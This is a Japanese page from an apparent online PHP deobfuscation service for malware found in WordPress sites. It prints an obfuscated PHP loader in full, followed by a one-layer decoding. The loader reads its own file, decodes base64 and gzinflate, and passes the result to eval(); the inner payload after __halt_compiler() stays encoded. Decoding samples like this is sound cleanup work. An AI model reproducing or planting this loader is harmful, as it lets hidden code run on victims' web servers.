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PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $r8a352=file_get_contents(__FILE__);function wee7e8($a){$d62262=array('d','s','c','4','6','_','a','b','e','o');$f=$d62262['7'].$d62262['6'].$d62262['1'].$d62262['8'].$d62262['4'].$d62262['3'].$d62262['5'].$d62262['0'].$d62262['8'].$d62262['2'].$d62262['9'].$d62262['0'].$d62262['8'];return $...



難読化されたPHPコード

<?php $r8a352=file_get_contents(__FILE__);function wee7e8($a){$d62262=array('d','s','c','4','6','_','a','b','e','o');$f=$d62262['7'].$d62262['6'].$d62262['1'].$d62262['8'].$d62262['4'].$d62262['3'].$d62262['5'].$d62262['0'].$d62262['8'].$d62262['2'].$d62262['9'].$d62262['0'].$d62262['8'];return $f($a);}function kd61b5($a){$e87d3f=array('n','z','t','i','l','e','g','f','a');$f=$e87d3f['6'].$e87d3f['1'].$e87d3f['3'].$e87d3f['0'].$e87d3f['7'].$e87d3f['4'].$e87d3f['8'].$e87d3f['2'].$e87d3f['5'];return $f($a);}function r71d($a){eval($a);}r71d(wee7e8("ZnVuY3Rpb24gdzcwYTg3KCRhKXtyZXR1cm4gc3Vic3RyKCRhLCBzdHJsZW4oJGEpLzIpLnN1YnN0cigkYSwwLHN0cmxlbigkYSkvMik7fWZ1bmN0aW9uIGc0MmEwNSgkYSwkYj1mYWxzZSl7JGwgPSBhcnJheSgxNDYyICwxNDggICwzMiAgICwxMDUyICk7aWYgKCRiID09PSAiQyIpe3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSwgJGxbMV0pKTt9ZWxzZSBpZiAoJGIgPT09ICJIIil7cmV0dXJuIHc3MGE4NyhzdWJzdHIoJGEsICRsWzBdKyRsWzFdLCAkbFsyXSkpO31lbHNle3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSskbFsxXSskbFsyXSwgJGxbM10pKTt9cmV0dXJuIGZhbHNlO30="));r71d(kd61b5(wee7e8(g42a05($r8a352,"C"))));r71d(m89e09(g42a05($r8a352),g42a05($r8a352,"H")));__halt_compiler();MTIxOWNmODNmZDdiMDFjOTEzOTRkYzAyNGQxYmM4NmE3MWNmNDA2NDVlMjU0MTVlZjNjMDMxZWM2Y2IzYjg1YWFjYzI0YzE1NmNkZmQ2MTA5YzJhZDY5MGZjMzAxZDNlMzdlZGI2YWVmNDE3YjI3ODQwOTVhNDU4MDI1YmNiMWE5ZDBiZDllY2RkMzczMTNiMDY1ZjQ4NjAwNTRlNzM0ZDUyOWVkMTRlZjcyNTk0MDJkOTVmZjdlMjJhYWVkMjRiOTU5Mzc=6FhdYa0V2bDw1n1mVOeK+SfDCVyprC2+XlOGXH//TYGQqx8SdV9c+PFHgJxNcUxOzEC13frv0AHcpLCsIwGEXhrdxBoSk4cKBikezCuSTNjf6QBzQpSkv33uDwfBy/pKlKToj3kecRqjMndHbAJr8654cafc0e6c1cca85d90e9187f7fecdHhrRlD+x/lDYjaqkkhto2C3+VvogaSg0hkCp5j71c1cg8P3TH5ss/d3Mu/q01/3BG1kWnJ4S3e9/56mOZMvJQ5ZZjyKyb1HxXZZD/QtbQDTZakvnJX+61Fs3GvMECB2BtXeDTMIGJMFBWpdzIms6nv3+MfJapiFeC5Jki2RDIX/3Z/745+ythehVY5y4j3jGkNqKc2gu4xvm+LsysfjFSAGvZ2XWw83w48t31ELChCf4HX4+YVcWugXfKmtp5Oml8q++JeG1Pos6Cyy46r4dem2r0YS3l/7SrSuhzvoJCNWzjwupmQI8CeI9iXJKPYMp0C91rK6gH7JW6KqZHNbxvnoVmVN51pC+zf2geA4XOqrH3keGTenEo7xbzR8Kvfe8jPzpB3LbShAj32h+XJ/ClVvYbqPcPP6SyZzeOjOJ0/Pz7642SWnibT7OgI4tP5/HgOT3Z7tx17rAMfu//5bNzfih5fe61uaxxMMvyqFmw7SeSkvAluZ0FF30V3wSncTrICsXmL3Dm7nw==jVXbbts4EH3XV7BGAEmAY9mbTeLG6wLytt0YqJv0ug9VEVDSyOGGIgWSShsU/veOKCmWGiVdAwZ4OXPmzCGHEjQHXdAEyGumry/ZNvpXqvRSgdZXm5IbppmB6Bx4AWrhOKUGsqFbEEZGrxXGfpPqJgqLooFEYayNoolpI4YDLuL/IDEbKnBHRW+lYMKASqAwNOawriYZasKECadakzcsAYFM8N2ASDXpZyEsLzjkmEOTR7mcHw4pypizhGSlSAyTgmzBfKacpbSarXMUc25y7vkOQbACUypB3L9YviVaJcsR4ugZq2DBlmWLmGo4+XP8fsr/uXjJr8N34Spch/XvMgiCu/PjVfjKTt/Uq6vQzter92F4OiIV36FldsmEHJhrpg9fPNT0SaEkBLgjIgWXNF2OWOZV6AkGP1su7RDjQmMUi0sDXuS23JHr+z9qrLnjMEmZLji9W0aukAIid9Hy/I5lsQOuYZiKCc4s2W5EKDfL0Sh44S4csnMImq6kwcOG9CnfbY1d24fcWKMzRiZTI5NTQxOTJmNDAxNWJlN2EyMTYyNWY5MmExOTkzNTZjZWI0ODA3ODM3MTA2MzZiNjYxM2IzZjQ4YzhjYmU2ZGI0YmZlMjg5MGRlZDc2MzYyNTU3ZQ==

デコード(難読化解除)されたコード

<?php

$r8a352 = "<?php \$r8a352=file_get_contents(__FILE__);function wee7e8(\$a){\$d62262=array('d','s','c','4','6','_','a','b','e','o');\$f=\$d62262['7'].\$d62262['6'].\$d62262['1'].\$d62262['8'].\$d62262['4'].\$d62262['3'].\$d62262['5'].\$d62262['0'].\$d62262['8'].\$d62262['2'].\$d62262['9'].\$d62262['0'].\$d62262['8'];return \$f(\$a);}function kd61b5(\$a){\$e87d3f=array('n','z','t','i','l','e','g','f','a');\$f=\$e87d3f['6'].\$e87d3f['1'].\$e87d3f['3'].\$e87d3f['0'].\$e87d3f['7'].\$e87d3f['4'].\$e87d3f['8'].\$e87d3f['2'].\$e87d3f['5'];return \$f(\$a);}function r71d(\$a){eval(\$a);}r71d(wee7e8(\"ZnVuY3Rpb24gdzcwYTg3KCRhKXtyZXR1cm4gc3Vic3RyKCRhLCBzdHJsZW4oJGEpLzIpLnN1YnN0cigkYSwwLHN0cmxlbigkYSkvMik7fWZ1bmN0aW9uIGc0MmEwNSgkYSwkYj1mYWxzZSl7JGwgPSBhcnJheSgxNDYyICwxNDggICwzMiAgICwxMDUyICk7aWYgKCRiID09PSAiQyIpe3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSwgJGxbMV0pKTt9ZWxzZSBpZiAoJGIgPT09ICJIIil7cmV0dXJuIHc3MGE4NyhzdWJzdHIoJGEsICRsWzBdKyRsWzFdLCAkbFsyXSkpO31lbHNle3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSskbFsxXSskbFsyXSwgJGxbM10pKTt9cmV0dXJuIGZhbHNlO30=\"));r71d(kd61b5(wee7e8(g42a05(\$r8a352,\"C\"))));r71d(m89e09(g42a05(\$r8a352),g42a05(\$r8a352,\"H\")));__halt_compiler();MTIxOWNmODNmZDdiMDFjOTEzOTRkYzAyNGQxYmM4NmE3MWNmNDA2NDVlMjU0MTVlZjNjMDMxZWM2Y2IzYjg1YWFjYzI0YzE1NmNkZmQ2MTA5YzJhZDY5MGZjMzAxZDNlMzdlZGI2YWVmNDE3YjI3ODQwOTVhNDU4MDI1YmNiMWE5ZDBiZDllY2RkMzczMTNiMDY1ZjQ4NjAwNTRlNzM0ZDUyOWVkMTRlZjcyNTk0MDJkOTVmZjdlMjJhYWVkMjRiOTU5Mzc=6FhdYa0V2bDw1n1mVOeK+SfDCVyprC2+XlOGXH//TYGQqx8SdV9c+PFHgJxNcUxOzEC13frv0AHcpLCsIwGEXhrdxBoSk4cKBikezCuSTNjf6QBzQpSkv33uDwfBy/pKlKToj3kecRqjMndHbAJr8654cafc0e6c1cca85d90e9187f7fecdHhrRlD+x/lDYjaqkkhto2C3+VvogaSg0hkCp5j71c1cg8P3TH5ss/d3Mu/q01/3BG1kWnJ4S3e9/56mOZMvJQ5ZZjyKyb1HxXZZD/QtbQDTZakvnJX+61Fs3GvMECB2BtXeDTMIGJMFBWpdzIms6nv3+MfJapiFeC5Jki2RDIX/3Z/745+ythehVY5y4j3jGkNqKc2gu4xvm+LsysfjFSAGvZ2XWw83w48t31ELChCf4HX4+YVcWugXfKmtp5Oml8q++JeG1Pos6Cyy46r4dem2r0YS3l/7SrSuhzvoJCNWzjwupmQI8CeI9iXJKPYMp0C91rK6gH7JW6KqZHNbxvnoVmVN51pC+zf2geA4XOqrH3keGTenEo7xbzR8Kvfe8jPzpB3LbShAj32h+XJ/ClVvYbqPcPP6SyZzeOjOJ0/Pz7642SWnibT7OgI4tP5/HgOT3Z7tx17rAMfu//5bNzfih5fe61uaxxMMvyqFmw7SeSkvAluZ0FF30V3wSncTrICsXmL3Dm7nw==jVXbbts4EH3XV7BGAEmAY9mbTeLG6wLytt0YqJv0ug9VEVDSyOGGIgWSShsU/veOKCmWGiVdAwZ4OXPmzCGHEjQHXdAEyGumry/ZNvpXqvRSgdZXm5IbppmB6Bx4AWrhOKUGsqFbEEZGrxXGfpPqJgqLooFEYayNoolpI4YDLuL/IDEbKnBHRW+lYMKASqAwNOawriYZasKECadakzcsAYFM8N2ASDXpZyEsLzjkmEOTR7mcHw4pypizhGSlSAyTgmzBfKacpbSarXMUc25y7vkOQbACUypB3L9YviVaJcsR4ugZq2DBlmWLmGo4+XP8fsr/uXjJr8N34Spch/XvMgiCu/PjVfjKTt/Uq6vQzter92F4OiIV36FldsmEHJhrpg9fPNT0SaEkBLgjIgWXNF2OWOZV6AkGP1su7RDjQmMUi0sDXuS23JHr+z9qrLnjMEmZLji9W0aukAIid9Hy/I5lsQOuYZiKCc4s2W5EKDfL0Sh44S4csnMImq6kwcOG9CnfbY1d24fcWKMzRiZTI5NTQxOTJmNDAxNWJlN2EyMTYyNWY5MmExOTkzNTZjZWI0ODA3ODM3MTA2MzZiNjYxM2IzZjQ4YzhjYmU2ZGI0YmZlMjg5MGRlZDc2MzYyNTU3ZQ==";
function wee7e8($a)
{
    $d62262 = array('d', 's', 'c', '4', '6', '_', 'a', 'b', 'e', 'o');
    $f = "base64_decode";
    return base64_decode($a);
}
function kd61b5($a)
{
    $e87d3f = array('n', 'z', 't', 'i', 'l', 'e', 'g', 'f', 'a');
    $f = "gzinflate";
    return gzinflate($a);
}
function r71d($a)
{
    eval($a);
}
r71d(wee7e8("ZnVuY3Rpb24gdzcwYTg3KCRhKXtyZXR1cm4gc3Vic3RyKCRhLCBzdHJsZW4oJGEpLzIpLnN1YnN0cigkYSwwLHN0cmxlbigkYSkvMik7fWZ1bmN0aW9uIGc0MmEwNSgkYSwkYj1mYWxzZSl7JGwgPSBhcnJheSgxNDYyICwxNDggICwzMiAgICwxMDUyICk7aWYgKCRiID09PSAiQyIpe3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSwgJGxbMV0pKTt9ZWxzZSBpZiAoJGIgPT09ICJIIil7cmV0dXJuIHc3MGE4NyhzdWJzdHIoJGEsICRsWzBdKyRsWzFdLCAkbFsyXSkpO31lbHNle3JldHVybiB3NzBhODcoc3Vic3RyKCRhLCAkbFswXSskbFsxXSskbFsyXSwgJGxbM10pKTt9cmV0dXJuIGZhbHNlO30="));
r71d(kd61b5(wee7e8(g42a05($r8a352, "C"))));
r71d(m89e09(g42a05($r8a352), g42a05($r8a352, "H")));
__halt_compiler();MTIxOWNmODNmZDdiMDFjOTEzOTRkYzAyNGQxYmM4NmE3MWNmNDA2NDVlMjU0MTVlZjNjMDMxZWM2Y2IzYjg1YWFjYzI0YzE1NmNkZmQ2MTA5YzJhZDY5MGZjMzAxZDNlMzdlZGI2YWVmNDE3YjI3ODQwOTVhNDU4MDI1YmNiMWE5ZDBiZDllY2RkMzczMTNiMDY1ZjQ4NjAwNTRlNzM0ZDUyOWVkMTRlZjcyNTk0MDJkOTVmZjdlMjJhYWVkMjRiOTU5Mzc=6FhdYa0V2bDw1n1mVOeK+SfDCVyprC2+XlOGXH//TYGQqx8SdV9c+PFHgJxNcUxOzEC13frv0AHcpLCsIwGEXhrdxBoSk4cKBikezCuSTNjf6QBzQpSkv33uDwfBy/pKlKToj3kecRqjMndHbAJr8654cafc0e6c1cca85d90e9187f7fecdHhrRlD+x/lDYjaqkkhto2C3+VvogaSg0hkCp5j71c1cg8P3TH5ss/d3Mu/q01/3BG1kWnJ4S3e9/56mOZMvJQ5ZZjyKyb1HxXZZD/QtbQDTZakvnJX+61Fs3GvMECB2BtXeDTMIGJMFBWpdzIms6nv3+MfJapiFeC5Jki2RDIX/3Z/745+ythehVY5y4j3jGkNqKc2gu4xvm+LsysfjFSAGvZ2XWw83w48t31ELChCf4HX4+YVcWugXfKmtp5Oml8q++JeG1Pos6Cyy46r4dem2r0YS3l/7SrSuhzvoJCNWzjwupmQI8CeI9iXJKPYMp0C91rK6gH7JW6KqZHNbxvnoVmVN51pC+zf2geA4XOqrH3keGTenEo7xbzR8Kvfe8jPzpB3LbShAj32h+XJ/ClVvYbqPcPP6SyZzeOjOJ0/Pz7642SWnibT7OgI4tP5/HgOT3Z7tx17rAMfu//5bNzfih5fe61uaxxMMvyqFmw7SeSkvAluZ0FF30V3wSncTrICsXmL3Dm7nw==jVXbbts4EH3XV7BGAEmAY9mbTeLG6wLytt0YqJv0ug9VEVDSyOGGIgWSShsU/veOKCmWGiVdAwZ4OXPmzCGHEjQHXdAEyGumry/ZNvpXqvRSgdZXm5IbppmB6Bx4AWrhOKUGsqFbEEZGrxXGfpPqJgqLooFEYayNoolpI4YDLuL/IDEbKnBHRW+lYMKASqAwNOawriYZasKECadakzcsAYFM8N2ASDXpZyEsLzjkmEOTR7mcHw4pypizhGSlSAyTgmzBfKacpbSarXMUc25y7vkOQbACUypB3L9YviVaJcsR4ugZq2DBlmWLmGo4+XP8fsr/uXjJr8N34Spch/XvMgiCu/PjVfjKTt/Uq6vQzter92F4OiIV36FldsmEHJhrpg9fPNT0SaEkBLgjIgWXNF2OWOZV6AkGP1su7RDjQmMUi0sDXuS23JHr+z9qrLnjMEmZLji9W0aukAIid9Hy/I5lsQOuYZiKCc4s2W5EKDfL0Sh44S4csnMImq6kwcOG9CnfbY1d24fcWKMzRiZTI5NTQxOTJmNDAxNWJlN2EyMTYyNWY5MmExOTkzNTZjZWI0ODA3ODM3MTA2MzZiNjYxM2IzZjQ4YzhjYmU2ZGI0YmZlMjg5MGRlZDc2MzYyNTU3ZQ==

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